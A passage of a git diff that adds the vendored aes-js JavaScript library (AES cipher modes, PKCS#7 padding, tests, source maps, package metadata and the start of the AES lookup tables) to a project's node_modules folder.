constructor(key: Uint8Array, iv?: Uint8Array); + get iv(): Uint8Array; + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-ofb.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ofb.d.ts.map b/node_modules/aes-js/lib.esm/mode-ofb.d.ts.map new file mode 100644 index 000000000000..ac15036a9850 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ofb.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ofb.d.ts","sourceRoot":"","sources":["../src.ts/mode-ofb.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;;gBAK1B,GAAG,EAAE,UAAU,EAAE,EAAE,CAAC,EAAE,UAAU;IAgB5C,IAAI,EAAE,IAAI,UAAU,CAAqC;IAEzD,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAiB1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAM5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ofb.js b/node_modules/aes-js/lib.esm/mode-ofb.js new file mode 100644 index 000000000000..340c9adb1b23 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ofb.js @@ -0,0 +1,57 @@ +// Output Feedback +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _OFB_iv, _OFB_lastPrecipher, _OFB_lastPrecipherIndex; +import { ModeOfOperation } from "./mode.js"; +export class OFB extends ModeOfOperation { + constructor(key, iv) { + super("OFB", key, OFB); + _OFB_iv.set(this, void 0); + _OFB_lastPrecipher.set(this, void 0); + _OFB_lastPrecipherIndex.set(this, void 0); + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + __classPrivateFieldSet(this, _OFB_iv, new Uint8Array(iv), "f"); + } + else { + __classPrivateFieldSet(this, _OFB_iv, new Uint8Array(16), "f"); + } + __classPrivateFieldSet(this, _OFB_lastPrecipher, this.iv, "f"); + __classPrivateFieldSet(this, _OFB_lastPrecipherIndex, 16, "f"); + } + get iv() { return new Uint8Array(__classPrivateFieldGet(this, _OFB_iv, "f")); } + encrypt(plaintext) { + var _a, _b; + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + const ciphertext = new Uint8Array(plaintext); + for (let i = 0; i < ciphertext.length; i++) { + if (__classPrivateFieldGet(this, _OFB_lastPrecipherIndex, "f") === 16) { + __classPrivateFieldSet(this, _OFB_lastPrecipher, this.aes.encrypt(__classPrivateFieldGet(this, _OFB_lastPrecipher, "f")), "f"); + __classPrivateFieldSet(this, _OFB_lastPrecipherIndex, 0, "f"); + } + ciphertext[i] ^= __classPrivateFieldGet(this, _OFB_lastPrecipher, "f")[__classPrivateFieldSet(this, _OFB_lastPrecipherIndex, (_b = __classPrivateFieldGet(this, _OFB_lastPrecipherIndex, "f"), _a = _b++, _b), "f"), _a]; + } + return ciphertext; + } + decrypt(ciphertext) { + if (ciphertext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + return this.encrypt(ciphertext); + } +} +_OFB_iv = new WeakMap(), _OFB_lastPrecipher = new WeakMap(), _OFB_lastPrecipherIndex = new WeakMap(); +//# sourceMappingURL=mode-ofb.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ofb.js.map b/node_modules/aes-js/lib.esm/mode-ofb.js.map new file mode 100644 index 000000000000..77c032cdc5b7 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ofb.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ofb.js","sourceRoot":"","sources":["../src.ts/mode-ofb.ts"],"names":[],"mappings":"AAAA,kBAAkB;;;;;;;;;;;;;AAElB,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,MAAM,OAAO,GAAI,SAAQ,eAAe;IAKtC,YAAY,GAAe,EAAE,EAAe;QAC1C,KAAK,CAAC,KAAK,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;QALzB,0BAAgB;QAChB,qCAA2B;QAC3B,0CAA4B;QAK1B,IAAI,EAAE,EAAE;YACN,IAAI,EAAE,CAAC,MAAM,GAAG,EAAE,EAAE;gBAClB,MAAM,IAAI,SAAS,CAAC,oCAAoC,CAAC,CAAC;aAC3D;YACD,uBAAA,IAAI,WAAO,IAAI,UAAU,CAAC,EAAE,CAAC,MAAA,CAAC;SAC/B;aAAM;YACL,uBAAA,IAAI,WAAO,IAAI,UAAU,CAAC,EAAE,CAAC,MAAA,CAAC;SAC/B;QAED,uBAAA,IAAI,sBAAkB,IAAI,CAAC,EAAE,MAAA,CAAC;QAC9B,uBAAA,IAAI,2BAAuB,EAAE,MAAA,CAAC;IAChC,CAAC;IAED,IAAI,EAAE,KAAiB,OAAO,IAAI,UAAU,CAAC,uBAAA,IAAI,eAAI,CAAC,CAAC,CAAC,CAAC;IAEzD,OAAO,CAAC,SAAqB;;QAC3B,IAAI,SAAS,CAAC,MAAM,GAAG,EAAE,EAAE;YACzB,MAAM,IAAI,SAAS,CAAC,uDAAuD,CAAC,CAAC;SAC9E;QAED,MAAM,UAAU,GAAG,IAAI,UAAU,CAAC,SAAS,CAAC,CAAC;QAC7C,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,UAAU,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;YAC1C,IAAI,uBAAA,IAAI,+BAAoB,KAAK,EAAE,EAAE;gBACjC,uBAAA,IAAI,sBAAkB,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,uBAAA,IAAI,0BAAe,CAAC,MAAA,CAAC;gBAC5D,uBAAA,IAAI,2BAAuB,CAAC,MAAA,CAAC;aAChC;YACD,UAAU,CAAC,CAAC,CAAC,IAAI,uBAAA,IAAI,0BAAe,CAAC,sDAAA,CAAA,+DAAwB,EAAxB,KAAA,IAA0B,IAAA,CAAA,MAAA,IAAA,CAAC,CAAC;SAClE;QAED,OAAO,UAAU,CAAC;IACpB,CAAC;IAED,OAAO,CAAC,UAAsB;QAC5B,IAAI,UAAU,CAAC,MAAM,GAAG,EAAE,EAAE;YACxB,MAAM,IAAI,SAAS,CAAC,wDAAwD,CAAC,CAAC;SACjF;QACD,OAAO,IAAI,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;IAClC,CAAC;CACF"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode.d.ts b/node_modules/aes-js/lib.esm/mode.d.ts new file mode 100644 index 000000000000..825bba7c9976 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode.d.ts @@ -0,0 +1,9 @@ +import { AES } from "./aes.js"; +export declare abstract class ModeOfOperation { + readonly aes: AES; + readonly name: string; + constructor(name: string, key: Uint8Array, cls?: any); + abstract encrypt(plaintext: Uint8Array): Uint8Array; + abstract decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode.d.ts.map b/node_modules/aes-js/lib.esm/mode.d.ts.map new file mode 100644 index 000000000000..d3a09ec6e2ce --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode.d.ts","sourceRoot":"","sources":["../src.ts/mode.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,GAAG,EAAE,MAAM,UAAU,CAAC;AAE/B,8BAAsB,eAAe;IACnC,QAAQ,CAAC,GAAG,EAAG,GAAG,CAAC;IACnB,QAAQ,CAAC,IAAI,EAAG,MAAM,CAAC;gBAEX,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,UAAU,EAAE,GAAG,CAAC,EAAE,GAAG;IAWpD,QAAQ,CAAC,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IACnD,QAAQ,CAAC,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CACrD"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode.js b/node_modules/aes-js/lib.esm/mode.js new file mode 100644 index 000000000000..6a63c78c5f78 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode.js @@ -0,0 +1,13 @@ +import { AES } from "./aes.js"; +export class ModeOfOperation { + constructor(name, key, cls) { + if (cls && !(this instanceof cls)) { + throw new Error(`${name} must be instantiated with "new"`); + } + Object.defineProperties(this, { + aes: { enumerable: true, value: new AES(key) }, + name: { enumerable: true, value: name } + }); + } +} +//# sourceMappingURL=mode.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode.js.map b/node_modules/aes-js/lib.esm/mode.js.map new file mode 100644 index 000000000000..e993a9cd1a8b --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mode.js","sourceRoot":"","sources":["../src.ts/mode.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,GAAG,EAAE,MAAM,UAAU,CAAC;AAE/B,MAAM,OAAgB,eAAe;IAInC,YAAY,IAAY,EAAE,GAAe,EAAE,GAAS;QAClD,IAAI,GAAG,IAAI,CAAC,CAAC,IAAI,YAAY,GAAG,CAAC,EAAE;YACjC,MAAM,IAAI,KAAK,CAAC,GAAI,IAAK,kCAAkC,CAAC,CAAC;SAC9D;QAED,MAAM,CAAC,gBAAgB,CAAC,IAAI,EAAE;YAC5B,GAAG,EAAE,EAAE,UAAU,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,GAAG,CAAC,GAAG,CAAC,EAAE;YAC9C,IAAI,EAAE,EAAE,UAAU,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE;SACxC,CAAC,CAAC;IACL,CAAC;CAIF"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/package.json b/node_modules/aes-js/lib.esm/package.json new file mode 100644 index 000000000000..3dbc1ca591c0 --- /dev/null +++ b/node_modules/aes-js/lib.esm/package.json @@ -0,0 +1,3 @@ +{ + "type": "module" +} diff --git a/node_modules/aes-js/lib.esm/padding.d.ts b/node_modules/aes-js/lib.esm/padding.d.ts new file mode 100644 index 000000000000..aaff7105a79a --- /dev/null +++ b/node_modules/aes-js/lib.esm/padding.d.ts @@ -0,0 +1,3 @@ +export declare function pkcs7Pad(data: Uint8Array): Uint8Array; +export declare function pkcs7Strip(data: Uint8Array): Uint8Array; +//# sourceMappingURL=padding.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/padding.d.ts.map b/node_modules/aes-js/lib.esm/padding.d.ts.map new file mode 100644 index 000000000000..1d958fb6fb26 --- /dev/null +++ b/node_modules/aes-js/lib.esm/padding.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"padding.d.ts","sourceRoot":"","sources":["../src.ts/padding.ts"],"names":[],"mappings":"AACA,wBAAgB,QAAQ,CAAC,IAAI,EAAE,UAAU,GAAG,UAAU,CAWrD;AAED,wBAAgB,UAAU,CAAC,IAAI,EAAE,UAAU,GAAG,UAAU,CAcvD"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/padding.js b/node_modules/aes-js/lib.esm/padding.js new file mode 100644 index 000000000000..667599d3e994 --- /dev/null +++ b/node_modules/aes-js/lib.esm/padding.js @@ -0,0 +1,26 @@ +export function pkcs7Pad(data) { + const padder = 16 - (data.length % 16); + const result = new Uint8Array(data.length + padder); + result.set(data); + for (let i = data.length; i < result.length; i++) { + result[i] = padder; + } + return result; +} +export function pkcs7Strip(data) { + if (data.length < 16) { + throw new TypeError('PKCS#7 invalid length'); + } + const padder = data[data.length - 1]; + if (padder > 16) { + throw new TypeError('PKCS#7 padding byte out of range'); + } + const length = data.length - padder; + for (let i = 0; i < padder; i++) { + if (data[length + i] !== padder) { + throw new TypeError('PKCS#7 invalid padding byte'); + } + } + return new Uint8Array(data.subarray(0, length)); +} +//# sourceMappingURL=padding.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/padding.js.map b/node_modules/aes-js/lib.esm/padding.js.map new file mode 100644 index 000000000000..1db1e3a0438e --- /dev/null +++ b/node_modules/aes-js/lib.esm/padding.js.map @@ -0,0 +1 @@ +{"version":3,"file":"padding.js","sourceRoot":"","sources":["../src.ts/padding.ts"],"names":[],"mappings":"AACA,MAAM,UAAU,QAAQ,CAAC,IAAgB;IACrC,MAAM,MAAM,GAAG,EAAE,GAAG,CAAC,IAAI,CAAC,MAAM,GAAG,EAAE,CAAC,CAAC;IAEvC,MAAM,MAAM,GAAG,IAAI,UAAU,CAAC,IAAI,CAAC,MAAM,GAAG,MAAM,CAAC,CAAC;IACpD,MAAM,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;IAEjB,KAAK,IAAI,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAC9C,MAAM,CAAC,CAAC,CAAC,GAAG,MAAM,CAAC;KACtB;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAED,MAAM,UAAU,UAAU,CAAC,IAAgB;IACvC,IAAI,IAAI,CAAC,MAAM,GAAG,EAAE,EAAE;QAAE,MAAM,IAAI,SAAS,CAAC,uBAAuB,CAAC,CAAC;KAAE;IAEvE,MAAM,MAAM,GAAG,IAAI,CAAC,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IACrC,IAAI,MAAM,GAAG,EAAE,EAAE;QAAE,MAAM,IAAI,SAAS,CAAC,kCAAkC,CAAC,CAAC;KAAE;IAE7E,MAAM,MAAM,GAAG,IAAI,CAAC,MAAM,GAAG,MAAM,CAAC;IACpC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,MAAM,EAAE,CAAC,EAAE,EAAE;QAC7B,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,KAAK,MAAM,EAAE;YAC7B,MAAM,IAAI,SAAS,CAAC,6BAA6B,CAAC,CAAC;SACtD;KACJ;IAED,OAAO,IAAI,UAAU,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;AACpD,CAAC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/tests.d.ts b/node_modules/aes-js/lib.esm/tests.d.ts new file mode 100644 index 000000000000..90993be87fd0 --- /dev/null +++ b/node_modules/aes-js/lib.esm/tests.d.ts @@ -0,0 +1,2 @@ +export {}; +//# sourceMappingURL=tests.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/tests.d.ts.map b/node_modules/aes-js/lib.esm/tests.d.ts.map new file mode 100644 index 000000000000..0305ca8853e1 --- /dev/null +++ b/node_modules/aes-js/lib.esm/tests.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"tests.d.ts","sourceRoot":"","sources":["../src.ts/tests.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/tests.js b/node_modules/aes-js/lib.esm/tests.js new file mode 100644 index 000000000000..25cfb9f16970 --- /dev/null +++ b/node_modules/aes-js/lib.esm/tests.js @@ -0,0 +1,81 @@ +import assert from "assert"; +import fs from "fs"; +import { join, resolve } from "path"; +import * as aes from "./index.js"; +const root = (function () { + let root = process.cwd(); + while (true) { + if (fs.existsSync(join(root, "package.json"))) { + return root; + } + const parent = join(root, ".."); + if (parent === root) { + break; + } + root = parent; + } + throw new Error("could not find root"); +})(); +describe("Tests Encrypting and Decrypting", function () { + const json = fs.readFileSync(resolve(root, "./test/test-vectors.json")).toString(); + const tests = JSON.parse(json); + function getCrypter(key, test) { + switch (test.modeOfOperation) { + case "ctr": + return new aes.CTR(key, 0); + case "cbc": + return new aes.CBC(key, Buffer.from(test.iv)); + case "cfb": + return new aes.CFB(key, Buffer.from(test.iv), test.segmentSize * 8); + case "ecb": + return new aes.ECB(key); + case "ofb": + return new aes.OFB(key, Buffer.from(test.iv)); + } + return null; + } + tests.forEach((test, index) => { + it(`tests encrypting: ${test.modeOfOperation}.${index}`, function () { + const encrypter = getCrypter(Buffer.from(test.key), test); + if (!encrypter) { + this.skip(); + } + for (let i = 0; i < test.plaintext.length; i++) { + const plaintext = Buffer.from(test.plaintext[i]); + const ciphertext = Buffer.from(test.encrypted[i]); + const result = Buffer.from(encrypter.encrypt(plaintext)); + assert.ok(ciphertext.equals(result), "encrypting failed"); + } + }); + it(`tests decrypting: ${test.modeOfOperation}.${index}`, function () { + const decrypter = getCrypter(Buffer.from(test.key), test); + if (!decrypter) { + this.skip(); + } + for (let i = 0; i < test.plaintext.length; i++) { + const plaintext = Buffer.from(test.plaintext[i]); + const ciphertext = Buffer.from(test.encrypted[i]); + const result = Buffer.from(decrypter.decrypt(ciphertext)); + assert.ok(plaintext.equals(result), "decrypting failed"); + } + }); + }); +}); +describe("Tests Padding", function () { + for (let size = 0; size < 100; size++) { + it(`tests padding: length=${size}`, function () { + // Create a random piece of data + const data = new Uint8Array(size); + data.fill(42); + // Pad it + const padded = aes.pkcs7Pad(data); + assert.ok((padded.length % 16) === 0, "Failed to pad to block size"); + assert.ok(data.length <= padded.length && padded.length <= data.length + 16, "Padding went awry"); + assert.ok(padded[padded.length - 1] >= 1 && padded[padded.length - 1] <= 16, "Failed to pad to block size"); + // Trim it + const trimmed = aes.pkcs7Strip(padded); + assert.ok(Buffer.from(data).equals(trimmed), "Failed to trim to original data"); + }); + } +}); +//# sourceMappingURL=tests.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/tests.js.map b/node_modules/aes-js/lib.esm/tests.js.map new file mode 100644 index 000000000000..7b6ec261c06b --- /dev/null +++ b/node_modules/aes-js/lib.esm/tests.js.map @@ -0,0 +1 @@ +{"version":3,"file":"tests.js","sourceRoot":"","sources":["../src.ts/tests.ts"],"names":[],"mappings":"AAAA,OAAO,MAAM,MAAM,QAAQ,CAAA;AAC3B,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,IAAI,EAAE,OAAO,EAAE,MAAM,MAAM,CAAC;AAErC,OAAO,KAAK,GAAG,MAAM,YAAY,CAAC;AAclC,MAAM,IAAI,GAAG,CAAC;IACZ,IAAI,IAAI,GAAG,OAAO,CAAC,GAAG,EAAE,CAAC;IAEzB,OAAO,IAAI,EAAE;QACX,IAAI,EAAE,CAAC,UAAU,CAAC,IAAI,CAAC,IAAI,EAAE,cAAc,CAAC,CAAC,EAAE;YAAE,OAAO,IAAI,CAAC;SAAE;QAC/D,MAAM,MAAM,GAAG,IAAI,CAAC,IAAI,EAAE,IAAI,CAAC,CAAC;QAChC,IAAI,MAAM,KAAK,IAAI,EAAE;YAAE,MAAM;SAAE;QAC/B,IAAI,GAAG,MAAM,CAAC;KACf;IAED,MAAM,IAAI,KAAK,CAAC,qBAAqB,CAAC,CAAC;AACzC,CAAC,CAAC,EAAE,CAAC;AAEL,QAAQ,CAAC,iCAAiC,EAAE;IAC1C,MAAM,IAAI,GAAG,EAAE,CAAC,YAAY,CAAC,OAAO,CAAC,IAAI,EAAE,0BAA0B,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAA;IAClF,MAAM,KAAK,GAAoB,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;IAEhD,SAAS,UAAU,CAAC,GAAe,EAAE,IAAc;QACjD,QAAQ,IAAI,CAAC,eAAe,EAAE;YAC5B,KA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AE;YAEpC,gCAAgC;YAChC,MAAM,IAAI,GAAG,IAAI,UAAU,CAAC,IAAI,CAAC,CAAC;YAClC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;YAEd,SAAS;YACT,MAAM,MAAM,GAAG,GAAG,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;YAClC,MAAM,CAAC,EAAE,CAAC,CAAC,MAAM,CAAC,MAAM,GAAG,EAAE,CAAC,KAAK,CAAC,EAAE,6BAA6B,CAAC,CAAC;YACrE,MAAM,CAAC,EAAE,CAAC,IAAI,CAAC,MAAM,IAAI,MAAM,CAAC,MAAM,IAAI,MAAM,CAAC,MAAM,IAAI,IAAI,CAAC,MAAM,GAAG,EAAE,EAAE,mBAAmB,CAAC,CAAC;YAClG,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,CAAC,IAAI,MAAM,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE,6BAA6B,CAAC,CAAC;YAE5G,UAAU;YACV,MAAM,OAAO,GAAG,GAAG,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;YACvC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,OAAO,CAAC,EAAE,iCAAiC,CAAC,CAAC;QAClF,CAAC,CAAC,CAAC;KACJ;AACH,CAAC,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/aes-js/misc/basedirs/lib.commonjs/README.md b/node_modules/aes-js/misc/basedirs/lib.commonjs/README.md new file mode 100644 index 000000000000..b2a9245b1d89 --- /dev/null +++ b/node_modules/aes-js/misc/basedirs/lib.commonjs/README.md @@ -0,0 +1,6 @@ +Gerneated Code (CommonJS) +========================= + +Do not modify code in this folder. + +See `/src.ts/` and `/tsconfig.commonjs.json`. diff --git a/node_modules/aes-js/misc/basedirs/lib.commonjs/package.json b/node_modules/aes-js/misc/basedirs/lib.commonjs/package.json new file mode 100644 index 000000000000..5bbefffbabee --- /dev/null +++ b/node_modules/aes-js/misc/basedirs/lib.commonjs/package.json @@ -0,0 +1,3 @@ +{ + "type": "commonjs" +} diff --git a/node_modules/aes-js/misc/basedirs/lib.esm/README.md b/node_modules/aes-js/misc/basedirs/lib.esm/README.md new file mode 100644 index 000000000000..f2188af7966b --- /dev/null +++ b/node_modules/aes-js/misc/basedirs/lib.esm/README.md @@ -0,0 +1,6 @@ +Gerneated Code (ESM) +==================== + +Do not modify code in this folder. + +See `/src.ts/` and `/tsconfig.esm.json`. diff --git a/node_modules/aes-js/misc/basedirs/lib.esm/package.json b/node_modules/aes-js/misc/basedirs/lib.esm/package.json new file mode 100644 index 000000000000..3dbc1ca591c0 --- /dev/null +++ b/node_modules/aes-js/misc/basedirs/lib.esm/package.json @@ -0,0 +1,3 @@ +{ + "type": "module" +} diff --git a/node_modules/aes-js/package-commonjs.json b/node_modules/aes-js/package-commonjs.json new file mode 100644 index 000000000000..5bbefffbabee --- /dev/null +++ b/node_modules/aes-js/package-commonjs.json @@ -0,0 +1,3 @@ +{ + "type": "commonjs" +} diff --git a/node_modules/aes-js/package.json b/node_modules/aes-js/package.json new file mode 100644 index 000000000000..85796c5a23d8 --- /dev/null +++ b/node_modules/aes-js/package.json @@ -0,0 +1,56 @@ +{ + "name": "aes-js", + "version": "4.0.0-beta.5", + "description": "A pure JavaScript implementation of the AES block cipher and all common modes of operation.", + "devDependencies": { + "@types/mocha": "^9.1.0", + "@types/node": "^16.7.10", + "mocha": "^9.2.2", + "typescript": "^4.7.4" + }, + "exports": { + ".": { + "import": "./lib.esm/index.js", + "default": "./lib.commonjs/index.js" + } + }, + "scripts": { + "auto-build": "npm run build -- -w", + "build": "tsc --build ./tsconfig.esm.json", + "build-all": "npm run build && npm run build-commonjs", + "build-clean": "npm run clean && npm run build-all", + "build-commonjs": "tsc --build ./tsconfig.commonjs.json && cp ./package-commonjs.json ./lib.commonjs/package.json", + "clean": "rm -rf lib.commonjs lib.esm && cp -r misc/basedirs/* .", + "test-commonjs": "mocha ./lib.commonjs/tests.js", + "test-esm": "mocha ./lib.esm/tests.js", + "test": "npm run test-commonjs && npm run test-esm" + }, + "main": "./lib.commonjs/index.js", + "module": "./lib.esm/index.js", + "publishConfig": { + "tag": "beta" + }, + "sideEffects": false, + "keywords": [ + "aes", + "aes-ctr", + "aes-ofb", + "aes-ecb", + "aes-cbc", + "aes-cfb", + "encrypt", + "decrypt", + "block", + "cipher" + ], + "repository": { + "type": "git", + "url": "git://github.com/ricmoo/aes-js.git" + }, + "bugs": { + "url": "http://github.com/ricmoo/aes-js/issues", + "email": "github@ricmoo.com" + }, + "author": "Richard Moore ", + "license": "MIT" +} diff --git a/node_modules/aes-js/src.ts/aes.ts b/node_modules/aes-js/src.ts/aes.ts new file mode 100644 index 000000000000..69b0d05dcdb3 --- /dev/null +++ b/node_modules/aes-js/src.ts/aes.ts @@ -0,0 +1,220 @@ +/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */ + +// Number of rounds by keysize +const numberOfRounds: Record = { 16: 10, 24: 12, 32: 14 }; + +// Round constant words +const rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91]; + +// S-box and Inverse S-box (S is for Substitution) +const S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0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0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]; + +// Transformations for encryption +const T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 